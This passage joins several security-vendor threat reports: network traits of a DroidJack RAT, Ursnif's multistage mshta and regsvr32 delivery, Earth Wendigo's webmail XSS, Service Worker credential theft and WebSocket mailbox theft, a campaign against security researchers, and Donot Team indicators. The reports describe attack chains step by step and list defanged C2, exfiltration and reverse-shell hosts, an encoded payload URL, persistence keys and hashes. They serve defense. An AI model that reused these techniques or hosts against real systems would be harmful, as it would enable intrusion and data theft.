not detect periodic connection over 1337/UDP because the LSTM module focuses on TCP. But from the behavioral model of the connections over 1337/UDP, we can conclude that the model is periodic and most of the connections are of a small size. ## Conclusion In this blog, we have analyzed the network traffic from a phone infected with DroidJack v4.4 RAT. We were able to decode its connection and found the distinctive features such as long duration or heartbeat. The DroidJack v4.4 RAT does not seem to be complex in its communication protocol and it is not sophisticated in its work. To summarize, the details found in the network traffic of this RAT are: - The phone connects directly to the IP address and ports specified in APK (default port and custom port). - Some connections over port 1337/TCP between the phone and the controller are long, i.e., more than 30 minutes. - There is a heartbeat between the controller and the phone over 1337/TCP. - Packets sent from the phone and the C&C over port 1337/TCP have a form of {00 00 00}{data length}{delimiter}{data in plain text}. - A new connection over 1334/TCP is established when a new command is received from the C&C. - The phone sends UDP packets to the C&C every 20 seconds. - Packets sent from the phone to the C&C over 1334/TCP and 1337/UDP are in plain text.
# New Ursnif Campaign: A Shift from PowerShell to Mshta Published on: April 07, 2020 Authored by: Sahil Antil, Kumar Pranjal Shukla Recently, we saw the start of a campaign featuring a new multistage payload distribution technique for the well-known banking Trojan named Ursnif (aka Gozi, aka Dreambot). The malware has been around for a long time and remains active leveraging new distribution techniques. In this blog, we will analyze one of the recent campaigns. This new campaign began on March 24, 2020. The malware is being distributed with the name `info_03_24.doc`, which is quite similar to one of its 2019 malware distribution campaigns (`info_07_.{date}.doc`). Moreover, the final payload delivery URLs available during the time of analysis were all registered on the same date and around the same time frame (2020-03-24 T12:00:00Z), which is a strong indicator of the beginning of a new campaign. ## Multistage For a long time, malware authors have been trying to distribute malware in multiple stages. This helps the main malware evade detection in the early stages so that it can be delivered in the last stage. This is the case with Ursnif. It is being delivered in three stages: - **Stage 1:** VBA macro [doc] - **Stage 2:** HTML [mshta] - **Stage 3:** DLL [regsvr32] ## Why mshta? One of the reasons malware authors try to switch to new delivery methods is to bypass security defenses, leave fewer footprints, and blend with existing system noise on the victim's machine. This seems to be the reason for using mshta in this new campaign despite using PowerShell as the second-stage payload in the past. ## A brief description of mshta Mshta.exe is a utility that executes Microsoft HTML Applications (HTAs). HTAs are stand-alone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. Adversaries can use mshta.exe to proxy execution of malicious .hta files and JavaScript or VBScript through a trusted Windows utility. Mshta.exe can be used to bypass application whitelisting solutions, which do not account for its potential use, and digital certificate validation. Since mshta.exe executes outside of Internet Explorer's security context, it also bypasses browser security settings. ## Doc file analysis [First stage] As mentioned earlier, the malware's initial payload was being delivered via document files with the name `info_03_24.doc` during the time of our analysis. The document didn’t contain any exploits but used macro code to drop the second-stage payload. The macro code is obfuscated but doesn’t seem to contain any anti-checks. ### VBA macro code analysis The VBA macro code contains one form and three modules. - **Form [frm]:** This contains a textbox whose value property contains the second stage payload to be dropped. - **Module1 [a7kcX]:** This contains an AutoOpen and final macro code execution routine. - **Module2 [aDbCyK]:** This is the file creation and string decoder routine. - **Module3 [axmNj]:** This contains string generation and the main routine. Execution of macro code begins from the AutoOpen routine, which is executed every time you open the document. The AutoOpen routine, in turn, calls the main routine, which performs the following operations: 1. Obtain the required strings from three string-generator routines. 2. Copy the mshta.exe code to microsoft.com (possibly to reduce footprints). 3. Write the second stage payload to `index.html`. 4. Execute the `index.html` with microsoft.com. ## Index.html analysis [Second stage] The `index.html` file is obfuscated with garbage code and random variable names. After removal of the obfuscation, the file comes out containing the following code components: - **HTML code:** This defines a paragraph element, which contains some ASCII data to be used later. - **JavaScript:** This contains static string variables and the custom decoder. - **ActiveX:** This is used for file system access, downloading final payload and executing it. Upon execution of `index.html` with microsoft.com [mshta.exe], the JavaScript and ActiveX code gets executed to perform the following operations: 1. Create a shell object with ActiveX. 2. Read the paragraph element containing ASCII data using the innerHTML property. 3. Write the read content to the registry key: `"HKEY_CURRENT_USER\\Software\\test1\\mykey”`. 4. Read the newly created registry key value. 5. Delete the registry key. 6. Pass the read content to the decoder routine. 7. Create a new function object where the function body is decoded ASCII data and it takes two arguments as the inputs, namely ‘u’ and ‘c’. 8. Call the newly created function with `u=“261636e223b616f6a7d3c6f3078607e2e65676271647f2572746e657b6f2d6f636e2864727f627a7c6f687f2f2a307474786”` and `c=0`. ## Decoded ASCII data analysis The decoded ASCII data is another JavaScript and ActiveX code snippet, which is also obfuscated using garbage code and random variable names. Upon removal of the obfuscation, it turns out to be performing the following operations: 1. Create an XMLHTTP object, stream object, and shell object using ActiveX. 2. Get the path `%temp%` and append `index.dll` (the final payload filename) to it. 3. Decode the ‘u’ variable earlier passed as an argument, which turns out to be the final payload URL. 4. Send a GET request to the decoded URL. 5. If the response status is 200 and the operation is complete, it saves the downloaded data to the `index.dll` file created earlier. 6. Execute the downloaded DLL using regsvr32. ## Index.dll (third and final stage) The `index.dll` turns out to be the final and main payload, which is Ursnif. The DLL is executed using regsvr32 as it doesn’t contain any export functions and the malicious code is present within the DllMain routine itself. Note: rundll32 is generally used to execute DLLs, and regsvr32 is mainly meant for COM DLLs. Since no exports are present in this case, we can use regsvr32 to execute the DllMain routine, which again might be a good way to reduce footprints or even avoid them due to the unpopularity of regsvr32 among malware. ## Conclusion The banking Trojan Ursnif (aka Gozi, aka Dreambot) is not new, and it continually resurfaces with new distribution techniques. It appears to be back in a form designed to leave fewer footprints and avoid detection while trying to steal victim's data. The Zscaler ThreatLabZ team will continue to observe this new version of Ursnif to help keep our customers safe and to monitor whether it returns in another form. ## Newly registered campaign domains - hxxp://xolzrorth[.]com - hxxp://grumnoud[.]com - hxxp://gandael6[.]com - hxxp://chersoicryss[.]com ## Payload URLs - hxxp://xolzrorth[.]com/kundru/targen.php?l=zoak2.cab - hxxp://grumnoud[.]com/kundru/targen.php?l=zoak4.cab - hxxp://gandael6[.]com/kundru/targen.php?l=zoak6.cab - hxxp://chersoicryss[.]com/kundru/targen.php?l=zoak2.cab ## Download URL doc-00-2o- docs.googleusercontent[.]com/docs/securesc/97lq9pt3pod9mpumel15kp2j33hcurr8/c560lkciidvhh4viucof3ludaoief0m5/1585069725000/11599430631386789056/1159943039p5i0k7i0r?e=download&authuser=0&nonce=ua6b0u4p5r3mq&user=11599430631386789056&hash=irhbu94ms0nq978q6ipge2kgosjdll3a ## MD5 8212E2522300EF99B03DFA18437FCA40
# Earth Wendigo Injects JavaScript Backdoor for Mailbox Exfiltration We discovered a new campaign that has been targeting several organizations — including government organizations, research institutions, and universities in Taiwan — since May 2019, aiming to exfiltrate emails from targeted organizations via the injection of JavaScript backdoors to a webmail system that is widely used in Taiwan. With no clear connection to any previous attack group, we gave this new threat actor the name “Earth Wendigo.” Additional investigation shows that the threat actor also sent spear-phishing emails embedded with malicious links to multiple individuals, including politicians and activists, who support movements in Tibet, the Uyghur region, or Hong Kong. However, this is a separate series of attacks from their operation in Taiwan, which this report covers. ## Initial Access and Propagation The attack begins with a spear-phishing email that is appended with obfuscated JavaScript. Once the victim opens the email on their webmail page, the appended JavaScript will load malicious scripts from a remote server operated by the threat actor. The scripts are designed to perform malicious behaviors, including: - Stealing browser cookies and webmail session keys and then sending them to the remote server. - Appending their malicious script to the victim’s email signature to propagate the infection to their contacts. - Exploiting a webmail system’s cross-site scripting (XSS) vulnerability to allow their malicious JavaScript to be injected on the webmail page permanently. - Registering a malicious JavaScript code to Service Worker, a web browser feature that allows JavaScript to intercept and manipulate HTTPS requests between client and server. The registered Service Worker script can hijack login credentials and modify the webmail page to add malicious scripts in case the attackers were unable to inject the XSS vulnerability mentioned above. (This is also the first time we found an in-the-wild attack that leverages Service Worker.) ## Exfiltration of the Mailbox After the attackers gain a foothold into the system — either through XSS injection or Service Worker — the next (and final part) of the attack chain, the exfiltration of the mailbox, is initiated. The Earth Wendigo threat actor will establish a WebSocket connection between the victims and their WebSocket server via a JavaScript backdoor. The WebSocket server instructs the backdoor on the victim’s browser to read emails from the webmail server and then send the content and attachments of the emails back to the WebSocket server. The victim will receive a spear-phishing email disguised as an advertisement with a discount coupon from an online shopping website — however, an obfuscated malicious JavaScript is embedded inside. The email leverages the webmail system’s search suggestion function to trigger the webpage to execute their script instead of directly running the malicious script. This is done to evade static security checks. The email will generate multiple email search requests to the webmail system via the CSS function “background-image” using their malicious code as a search keyword to make the system register it as a frequently searched keyword. Next, a new “embed” HTML element is created to load the result of the search suggestion by finding the keyword “java” on the webmail server. The returned suggestion is the JavaScript code that was searched during the first step and has now been indirectly loaded and used to execute the malicious code. This approach allows the threat actor to hide their malicious code inside CSS elements to prevent detection by security solutions that employ static analysis. At the end of this step, the code will create another new script element that will load other malicious JavaScript codes from remote servers. Interestingly, we found many other emails that have injected their malicious JavaScript code at the bottom to load their malicious code from remote servers. However, these emails don’t look like phishing emails and seemed more like real emails sent from normal users within the same organization. Further investigation revealed that the attacker had modified the victims’ email signatures through malicious code injection. This means that all of the emails sent by the victim with the modified mail signature will have the malicious code appended at the end, which is how we found a normal email that was also injected with malicious code. We think the threat actor used this approach to attempt to infect the victim’s contacts for further propagation. As soon as the user executes the malicious script in the email, a cookie stealer script will be delivered and launched on the browser. The script generates a request to “/cgi-bin/start,” which is a wrapper page embedded with the webmail session key. The script will then extract the session key from the page while also collecting browser cookies. The script will send an HTTP GET request to remove the server with all the collected keys and cookies appended on the query string to transfer the stolen information. The framework used to deliver and manage these XSS attack scripts is called “XSSER.ME” or “XSS Framework.” The stolen session keys and browser cookies are also sent to the framework to store in the database. While a stolen session key may allow the attacker to log into their target’s webmail system without a password, note that this is not the Earth Wendigo operation's ultimate goal. ## Infection of Email Accounts After the initial execution of malicious code with the approaches we mentioned above, the attacker implemented steps to ensure that their malicious script would be constantly loaded and executed by their targets. The actor prepared two different infection methods. The first involves injecting malicious code into the webpage via an XSS vulnerability on the webmail system. The vulnerability, which exists inside the webmail system’s shortcut feature, allows users to create links on the webmail front page. The attacker can add a shortcut with a crafted payload by exploiting the XSS vulnerability, which replaces part of the original script from the webmail system with malicious JavaScript code. If this is successful, the victim will load the malicious code whenever they access the webmail page with the malicious shortcut added. Note that the infection will not impact all of the users on the system simultaneously, but only those with infected mail accounts. We have reported the vulnerability to the company that developed the webmail system, which informed us that the vulnerability had been fixed since January 2020. It should not affect those who are using the latest version of the webmail system. Another way the threat actor infects victims is by registering malicious JavaScript to the Service Worker script, which is a programmable network proxy inside the browser that provides an extended layer for websites and web applications to handle their communications while the network is unreachable. The security risk of Service Worker has been discussed and demonstrated by both PoC work and academic research — for example, a registered Service Worker could intercept and manipulate the requests between the client and the web server. By examining one of the malicious scripts from the Earth Wendigo campaign, we discovered that it uploaded the tampered Service Worker script to the webmail server disguised as an original script provided by the server. It then registers the uploaded script to the user’s Service Worker before removing it from the server immediately after registration. The registered Service Worker script checks the URL path from an intercepted request and performs various responses: - For HTTPS POST requests sent to “/cgi-bin/login,” which is the API for the authentication of webmail user login and contains the username and password pair, the Service Worker script will copy the pair and send it to a remote server. - For requests sent to “/cgi-bin/start,” which is a page wrapper used to show the main webmail page, the Service Worker script will reply by sending another page to the victim. This new page is almost similar to the original wrapper but injected with a script element meant to load malicious script from Earth Wendigo’s server. Therefore, the victim also loads the malicious script with the replaced wrapper page whenever they access the webmail server with the malicious Service Worker enabled in the background. ## Email Exfiltration At the end of the attack, Earth Wendigo delivers a JavaScript code that then creates a WebSocket connection to a remote server and executes the script returned from the server. We found that the returned script is a backdoor that gets its instructions from the WebSocket server. It has only one command, “get(‘URL’),” to perform a request from the victim’s browser to the webmail server and collect the response back to the WebSocket server. The usage of the backdoor we found, in this case, is for the mailbox exfiltration. A typical sequence used for mailbox exfiltration: 1. The WebSocket server returns a backdoor script that is executed on the victim’s browser. 2. The backdoor sends the webmail session key, browser cookies, webpage location, and browser user agent string back to the WebSocket server to register the victim’s information. 3. The WebSocket server sends the command “get(‘/cgi-bin/folder_tree2?cmd=…’)” to grab the list of existing mailboxes under the victim’s mail account. 4. The WebSocket server sends the command “get(‘/cgi-bin/msg_list?cmd=…’)” to grab the list of emails inside a mailbox that they are interested in reading. 5. The WebSocket server sends the command, “get(‘/cgi-bin/msg_read?cmd=pring_mail&…’)” to read the email listed in the response seen in the previous step; it reads each email sequentially from the mailbox and sends it back to the WebSocket server. 6. If a stolen email has attachments, the WebSocket server sends the command “get(‘att:/cgi-bin/downfile/…’)” to grab the relevant attachment from the webmail server and slice it into 4096 bytes as chunks to return to the WebSocket server. These steps are repeatedly performed until they receive the victim’s entire mailbox. ## Additional Findings Besides their attack on webmail servers, we also found multiple malware variants used by Earth Wendigo. These malware variants, which are written in Python and compiled as Windows executables, communicate to a malicious domain — the same one used in this attack. Most of them are shellcode loaders that load embedded shellcode likely from Cobalt Strike. Some of them are backdoors that will communicate with the command and control (C&C) server to request and execute additional python code. However, we don’t know what code they delivered because the server was already down when we were verifying the malware variants. It’s also not clear how they were delivered to the victims. ## Conclusion While Earth Wendigo uses typical spear-phishing techniques to initiate their attack, the threat actor also uses many atypical techniques to infiltrate the targeted organizations, such as the use of mail signature manipulation and Service Worker infection. The impact of spear-phishing attacks can be minimized by following security best practices, which include refraining from opening emails sent by suspicious sources. We also encourage both users and organizations to upgrade their servers to the latest version to prevent compromise via vulnerability exploits. To avoid XSS attacks similar to what we described in this report, we recommend adapting Content-Security-Policy (CSP) for websites. ## Indicators of Compromise | Indicator | Description | |-----------|-------------| | mail2000tw[.]com | Domain operated by Earth Wendigo | | bf[.]mail2000tw[.]com | Domain operated by Earth Wendigo | | admin[.]mail2000tw[.]com | Domain operated by Earth Wendigo | | googletwtw[.]com | Domain operated by Earth Wendigo | | bf[.]googletwtw[.]com | Domain operated by Earth Wendigo | | ws[.]googletwtw[.]com | Domain operated by Earth Wendigo | | admin[.]googletwtw[.]com | Domain operated by Earth Wendigo | | anybodyopenfind[.]com | Domain operated by Earth Wendigo | | support[.]anybodyopenfind[.]com | Domain operated by Earth Wendigo | | supports[.]anybodyopenfind[.]com | Domain operated by Earth Wendigo | | supportss[.]anybodyopenfind[.]com | Domain operated by Earth Wendigo | | a61e84ac9b9d3009415c7982887dd7834ba2e7c8ea9098f33280d82b9a81f923 | Earth Wendigo XSS attack script | | 66cf12bb9b013c30f9db6484caa5d5d0a94683887cded2758886aae1cb5c1c65 | Earth Wendigo XSS attack script | | 4cdaca6b01f52092a1dd30fc68ee8f6d679ea6f7a21974e4a3eb8d14be6f5d74 | Earth Wendigo XSS attack script | | f50a589f3b3ebcc326bab55d1ef271dcec372c25d65f381a409ea85929a34b49 | Earth Wendigo XSS attack script | | e047aa878f9e7a55a80cc1b70d0ac9840251691e91ab6454562afbff427b0879 | Earth Wendigo XSS attack script | | a1a6dc2a6c795fc315085d00aa7fdabd1f043b28c68d4f98d4152fe539f026f1 | Earth Wendigo XSS attack script | | 10d2158828b953ff1140376ceb79182486525fd14b98f743dafa317110c1b289 | Earth Wendigo XSS attack script | | 0e04a03afa5b66014457136fb4d437d51da9067dc88452f9ebd098d10c97c5b8 | Earth Wendigo XSS attack script | | 75f3f724a2bfda1e74e0de36ff6a12d3f2ea599a594845d7e6bc7c76429e0fa4 | Earth Wendigo XSS attack script | | c3bc364409bb0c4453f6d80351477ff8a13a1acdc5735a9dff4ea4b3f5ad201c | Earth Wendigo XSS attack script | | 5251087bb2a0c87ac60c13f2edb7c39fb1ea26984fcc07e4cf8b39db31ce2b08 | Earth Wendigo XSS attack script | | 7fa9a58163dd233065a86f9ed6857ed698fc6e454e6b428ea93f4f711279fb61 | Earth Wendigo XSS attack script | | f568f823959be80a707e05791718c1c3c377da1b0db1865821c1cf7bc53b6084 | Earth Wendigo XSS attack script | | a54d58d5a5812abaede3e2012ae757d378fb51c7d3974eaa3a3f34511161c1db | Earth Wendigo XSS attack script | | 77c3d62cce21c2c348f825948042f7d36999e3be80db32ac98950e88db4140b1 | Earth Wendigo XSS attack script | | c0dabb52c73173ea0b597ae4ad90d67c23c85110b06aa3c9e110a852ebe04420 | Earth Wendigo Service Worker script | | efe541889f3da7672398d7ad00b8243e94d13cc3254ed59cd547ad172c1aa4be | Earth Wendigo WebSocket JavaScript backdoor | | 2411b7b9ada83f6586278e0ad36b42a98513c9047a272a5dcb4a2754ba8e6f1d | Earth Wendigo Shellcode Loader | | 1de54855b15fc55b4a865723224119029e51b381a11fda5d05159c74f50cb7de | Earth Wendigo Shellcode Loader | | d935c9fe8e229f1dabcc0ceb02a9ce7130ae313dd18de0b1aca69741321a7d1b | Earth Wendigo Shellcode Loader | | 50f23b6f4dff77ce4101242ebc3f12ea40156a409a7417ecf6564af344747b76 | Earth Wendigo Shellcode Loader | | fab0c4e0992afe35c5e99bf9286db94313ffedc77d138e96af940423b2ca1cf2 | Earth Wendigo Shellcode Loader | | 4d9c63127befad0b65078ccd821a9cd6c1dccec3e204a253751e7213a2d39e39 | Earth Wendigo Shellcode Loader | | 25258044c838c6fc14a447573a4a94662170a7b83f08a8d76f96fbbec3ab08e2 | Earth Wendigo Shellcode Loader | | 13952e13d310fb5102fd4a90e4eafe6291bc97e09eba50fedbc2f8900c80165f | Earth Wendigo Shellcode Loader | | ccb7be5a5a73104106c669d7c58b13a55eb9db3b3b5a6d3097ac8b68f2555d39 | Earth Wendigo Shellcode Loader | | 40a251184bb680edadfa9778a37135227e4191163882ccf170835e0658b1e0ed | Earth Wendigo Shellcode Loader | | 0d6c3cc46be2c2c951c24c695558be1e2338635176fa34e8b36b3e751ccdb0de | Cobalt Strike |
# New Campaign Targeting Security Researchers **Adam Weidemann** **January 25, 2021** **Threat Analysis Group** Over the past several months, the Threat Analysis Group has identified an ongoing campaign targeting security researchers working on vulnerability research and development at different companies and organizations. The actors behind this campaign, which we attribute to a government-backed entity based in North Korea, have employed a number of means to target researchers which we will outline below. We hope this post will remind those in the security research community that they are targets to government-backed attackers and should remain vigilant when engaging with individuals they have not previously interacted with. In order to build credibility and connect with security researchers, the actors established a research blog and multiple Twitter profiles to interact with potential targets. They've used these Twitter profiles for posting links to their blog, posting videos of their claimed exploits, and for amplifying and retweeting posts from other accounts that they control. Their blog contains write-ups and analysis of vulnerabilities that have been publicly disclosed, including “guest” posts from unwitting legitimate security researchers, likely in an attempt to build additional credibility with other security researchers. While we are unable to verify the authenticity or the working status of all of the exploits that they have posted videos of, in at least one case, the actors have faked the success of their claimed working exploit. On Jan 14, 2021, the actors shared via Twitter a YouTube video they uploaded that proclaimed to exploit CVE-2021-1647, a recently patched Windows Defender vulnerability. In the video, they purported to show a successful working exploit that spawns a cmd.exe shell, but a careful review of the video shows the exploit is fake. Multiple comments on YouTube identified that the video was faked and that there was not a working exploit demonstrated. After these comments were made, the actors used a second Twitter account (that they control) to retweet the original post and claim that it was “not a fake video.” ## Security Researcher Targeting The actors have been observed targeting specific security researchers by a novel social engineering method. After establishing initial communications, the actors would ask the targeted researcher if they wanted to collaborate on vulnerability research together, and then provide the researcher with a Visual Studio Project. Within the Visual Studio Project would be source code for exploiting the vulnerability, as well as an additional DLL that would be executed through Visual Studio Build Events. The DLL is custom malware that would immediately begin communicating with actor-controlled C2 domains. In addition to targeting users via social engineering, we have also observed several cases where researchers have been compromised after visiting the actors’ blog. In each of these cases, the researchers have followed a link on Twitter to a write-up hosted on blog.br0vvnn[.]io, and shortly thereafter, a malicious service was installed on the researcher’s system and an in-memory backdoor would begin beaconing to an actor-owned command and control server. At the time of these visits, the victim systems were running fully patched and up-to-date Windows 10 and Chrome browser versions. At this time we’re unable to confirm the mechanism of compromise, but we welcome any information others might have. Chrome vulnerabilities, including those being exploited in the wild (ITW), are eligible for reward payout under Chrome's Vulnerability Reward Program. We encourage anyone who discovers a Chrome vulnerability to report that activity via the Chrome VRP submission process. These actors have used multiple platforms to communicate with potential targets, including Twitter, LinkedIn, Telegram, Discord, Keybase, and email. We are providing a list of known accounts and aliases below. If you have communicated with any of these accounts or visited the actors’ blog, we suggest you review your systems for the IOCs provided below. To date, we have only seen these actors targeting Windows systems as a part of this campaign. ## Actor Controlled Sites and Accounts **Research Blog** blog.br0vvnn[.]io **Twitter Accounts** - br0vvnn - BrownSec3Labs - dev0exp - djokovic808 - henya290 - james0x40 - m5t0r - mvp4p3r - tjrim91 - z0x55g **LinkedIn Accounts** - billy-brown-a6678b1b8 - guo-zhang-b152721bb - hyungwoo-lee-6985501b9 - linshuang-li-aa696391bb - rimmer-trajan-2806b21bb **Keybase** zhangguo **Telegram** james50d ## Sample Hashes - (VS Project DLL) - (VS Project DLL) - (VS Project Dropped DLL) - (VS Project Dropped DLL) - (Service DLL) ## C2 Domains: Attacker-Owned - angeldonationblog[.]com - codevexillium[.]org - investbooking[.]de - krakenfolio[.]com - opsonew3org[.]sg - transferwiser[.]io - transplugin[.]io ## C2 Domains: Legitimate but Compromised - trophylab[.]com - www.colasprint[.]com - www.dronerc[.]it - www.edujikim[.]com - www.fabioluciani[.]com ## C2 URLs - angeldonationblog[.]com/image/upload/upload.php - codevexillium[.]org/image/download/download.asp - investbooking[.]de/upload/upload.asp - transplugin[.]io/upload/upload.asp - www.dronerc[.]it/forum/uploads/index.php - www.dronerc[.]it/shop_testbr/Core/upload.php - www.dronerc[.]it/shop_testbr/upload/upload.php - www.edujikim[.]com/intro/blue/insert.asp - www.fabioluciani[.]com/es/include/include.asp - trophylab[.]com/notice/images/renewal/upload.asp - www.colasprint[.]com/_vti_log/upload.asp ## Host IOCs **Registry Keys** - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\KernelConfig - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\DriverConfig - HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SSL Update **File Paths** - C:\Windows\System32\Nwsapagent.sys - C:\Windows\System32\helpsvc.sys - C:\ProgramData\USOShared\uso.bin - C:\ProgramData\VMware\vmnat-update.bin - C:\ProgramData\VirtualBox\update.bin
# Donot Team — Indicators of Compromise An analysis of Donot Team campaigns in 2020 and 2021 is available as a blog post on WeLiveSecurity. ## Samples ### October 2021 | SHA-1 | Filename | ESET Detection Name | |-------|----------|---------------------| | 78E82F632856F293BDA86D77D02DF97EDBCDE918 | cdc.dll | Win32/TrojanDownloader.Donot.C | | D9F439E7D9EE9450CD504D5791FC73DA7C3F7E2E | wbiosr.exe | Win32/TrojanDownloader.Donot.D | | CF7A56FD0613F63418B9DF3E2D7852FBB687BE3F | vdsc.exe | Win32/TrojanDownloader.Donot.E | | B2263A6688E512D90629A3A621B2EE003B1B959E | wuaupdt.exe | Win32/ReverseShell.J | | 13B785493145C85B005E96D5029C20ACCFFE50F2 | gedit.exe | Win32/Spy.Donot.A | | E2A11F28F9511753698BA5CDBAA70E8141C9DFC3 | wscs.exe | Win32/Spy.Donot.B | | F67ABC483EE2114D96A90FA0A39496C42EF050B5 | gedit.exe | Win32/Spy.Donot.B | **Download servers** - request.soundedge[.]live/access/nasrzolofuju - request.soundedge[.]live/access/birkalirajliruajirjiairuai - share.printerjobs[.]xyz/id45sdjscj/<VICTIM_ID> **Exfiltration server** - submin.seasonsbackup[.]xyz/backup/<VICTIM_ID> **Reverse shell server** - 80.255.3[.]67 ### July 2021 | SHA-1 | Filename | ESET Detection Name | |-------|----------|---------------------| | A71E70BA6F3CD083D20EDBC83C72AA823F31D7BF | hxedit.exe | Win32/TrojanDownloader.Donot.N | | E101FB116F05B7B69BD2CAAFD744149E540EC6E9 | lmpss.exe | Win64/HackTool.Ligolo.A | | 89D242E75172C79E2F6FC9B10B83377D940AE649 | gedit.exe | WinGo/Spy.Donot.A | | B42FEFE2AB961055EA10D445D9BB0906144647CE | gedit.exe | WinGo/Spy.Donot.A | | B0704492382186D40069264C0488B65BA8222F1E | disc.exe | Win32/Spy.Donot.L | | 1A6FBD2735D3E27ECF7B5DD5FB6A21B153FACFDB | disc.exe | Win32/Spy.Donot.A | | CEC2A3B121A669435847ADACD214BD0BE833E3AD | disc.exe | Win32/Spy.Donot.M | | CBC4EC0D89FA7A2AD1B1708C5A36D1E304429203 | disc.exe | Win32/Spy.Donot.A | | 9371F76527CA924163557C00329BF01F8AD9E8B7 | gedit.exe | Win32/Spy.Donot.J | | B427744B2781BC344B96907BF7D68719E65E9DCB | wuaupdt.exe | Win32/TrojanDownloader.Donot.W | **Download server** - request.submitonline[.]club/orderme/ **Exfiltration servers** - oceansurvey[.]club/upload/<VICTIM_ID> - request.soundedge[.]live/<COMPUTERNAME>/uload **Reverse shell servers** - 80.255.3[.]67 - 37.48.122[.]145 ### February/March 2021 | SHA-1 | Filename | ESET Detection Name | |-------|----------|---------------------| | A15D011BED98BCE65DB597FFD2D5FDE49D46CFA2 | BN_Webmail_List 2020.doc | Win32/Exploit.Agent.UN | | 6AE606659F8E0E19B69F0CB61EB9A94E66693F35 | vbtr.dll | Win32/Spy.Donot.G | | 0290ABF0530A2FD2DFB0DE29248BA3CABB58D2AD | bcs01276.tmp (msdn022.dll) | Win32/TrojanDownloader.Donot.P | | 66BA21B18B127DAA47CB16AB1F2E9FB7DE3F73E0 | Winhlp.exe | Win32/TrojanDownloader.Donot.J | | 79A5B10C5214B1A3D7CA62A58574346C03D54C58 | nprint.exe | Win32/TrojanDownloader.Donot.K | | B427744B2781BC344B96907BF7D68719E65E9DCB | wuaupdt.exe | Win32/TrojanDownloader.Donot.W | | E423A87B9F2A6DB29B3BA03AE7C4C21E5489E069 | lmpss.exe | WinGo/Spy.Donot.B | | F43845843D6E9FB4790BF70F1760843F08D43790 | innod.exe | Win32/Spy.Donot.G | | 4FA31531108CC68FF1865E2EB5654F7B3DA8D820 | gedit.exe | Win32/Spy.Donot.G | **Download servers** - firm.tplinkupdates[.]space/8ujdfuyer8d8f7d98jreerje - firm.tplinkupdates[.]space/yu37hfgde64jskeruqbrgx - space.lovingallupdates[.]life/orderme **Exfiltration server** - oceansurvey[.]club/upload/<VICTIM_ID> **Reverse shell server** - 80.255.3[.]67 ### September 2020 | SHA-1 | Filename | ESET Detection Name | |-------|----------|---------------------| | 49E58C6DE5245796AEF992D16A0962541F1DAE0C | lmpss.exe | Win32/Spy.Donot.H | | 6F38532CCFB33F921A45E67D84D2796461B5A7D4 | prodot.exe | Win32/TrojanDownloader.Donot.K | | FCFEE44DA272E6EB3FC2C071947DF1180F1A8AE1 | prodot.exe | Win32/TrojanDownloader.Donot.S | | 7DDF48AB1CF99990CB61EEAEB3ED06ED8E70A81B | gedit.exe | Win32/TrojanDownloader.Donot.AA | | DBC8FA70DFED7632EA21B9AACA07CC793712BFF3 | disc.exe | Win32/Spy.Donot.I | | CEF05A2DAB41287A495B9413D33F14D94A568C83 | wuaupdt.exe | Win32/Spy.Donot.A | | E7375B4F37ECEA77FDA2CEA1498CFB30A76BACC7 | prodot.exe | Win32/TrojanDownloader.Donot.AA | | 771B4BEA921F509FC37016F5FA22890CA3338A65 | apic.dll | Win32/TrojanDownloader.Donot.A | | F74E6C2C0E26997FDB4DD89AA3D8BD5B270637CC | njhy65tg.dll | Win32/TrojanDownloader.Donot.O | **Download servers** - soundvista[.]club/sessionrequest - soundvista[.]club/orderme/<VICTIM_ID> - soundvista[.]club/winuser **Exfiltration server** - request.resolverequest[.]live/upload/<COMPUTERNAME>-<Random_Number> **Reverse shell server** - 80.255.3[.]67 ### DarkMusical – September 2021 | SHA-1 | Filename | ESET Detection Name | |-------|----------|---------------------| | 1917316C854AF9DA9EBDBD4ED4CBADF4FDCFA4CE | rihana.exe | Win32/TrojanDownloader.Donot.G | | 6643ACD5B07444D1B2C049BDE61DD66BEB0BD247 | acrobat.dll | Win32/TrojanDownloader.Donot.F | | 9185DEFC6F024285092B563EFA69EA410BD6F85B | remember.exe | Win32/TrojanDownloader.Donot.H | | 954CFEC261FEF2225ACEA6D47949D87EFF9BAB14 | forbidden.exe | Win32/TrojanDownloader.Donot.I | | 7E9A4A13A76CCDEC880618BFF80C397790F3CFF3 | serviceup.exe | Win32/ReverseShell.J | | BF183A1EC4D88034D2AC825278FB084B4CB21EAD | srcot.exe | Win32/Spy.Donot.F | | 1FAA4A52AA84EDB6082DEA66F89C05E0F8374C4C | upsvcsu.exe | WinGo/Spy.Donot.A | | 2F2EA73B5EAF9F47DCFB7BF454A27A3FBF253A1E | sdudate.exe | Win32/ReverseShell.J | | 39F92CBEC05785BF9FF28B7F33906C702F142B90 | ndexid.exe | Win32/Spy.Donot.C | | 1352A8394CCCE7491072AAAC9D19ED584E607757 | ndexid.exe | Win32/Spy.Donot.E | | 623767BC142814AB28F8EC6590DC031E7965B9CD | ndexid.exe | Win32/Spy.Donot.A | **Download servers** - digitalresolve[.]live/<COMPUTERNAME>~<USERNAME>~<HW_PROFILE_GUID>/ekcvilsrkjiasfjkikiakik - digitalresolve[.]live/<COMPUTERNAME>~<USERNAME>~<HW_PROFILE_GUID>/ziuriucjiekuiemoaeukjudjkgfkkj - digitalresolve[.]live/<COMPUTERNAME>~<USERNAME>~<HW_PROFILE_GUID>/Sqieilcioelikalik - printersolutions[.]live/<COMPUTERNAME>~<USERNAME>~<HW_PROFILE_GUID>/orderme **Exfiltration server** - packetbite[.]live/<COMPUTERNAME>~<USERNAME>~<HW_PROFILE_GUID>/uload **Reverse shell servers** - 37.120.198[.]208 - 51.38.85[.]227 ### DarkMusical – June 2021 | SHA-1 | Filename | ESET Detection Name | |-------|----------|---------------------| | BB0C857908AFC878CAEEC3A0DA2CBB0A4FD4EF04 | ertficial.dll | Win32/TrojanDownloader.Donot.X | | 6194E0ECA5D494980DF5B9AB5CEA8379665ED46A | ertficial.dll | Win32/TrojanDownloader.Donot.Y | | ACB4DF8708D21A6E269D5E7EE5AFB5168D7E4C70 | msofficedll.dll | Win32/TrojanDownloader.Donot.L | | B38F3515E9B5C8F4FB78AD17C42012E379B9E99A | sccmo.exe | Win32/TrojanDownloader.Donot.M | | 60B2ADE3B339DE4ECA9EC3AC1A04BDEFC127B358 | pscmo.exe | Win32/TrojanDownloader.Donot.I | **Download servers** - 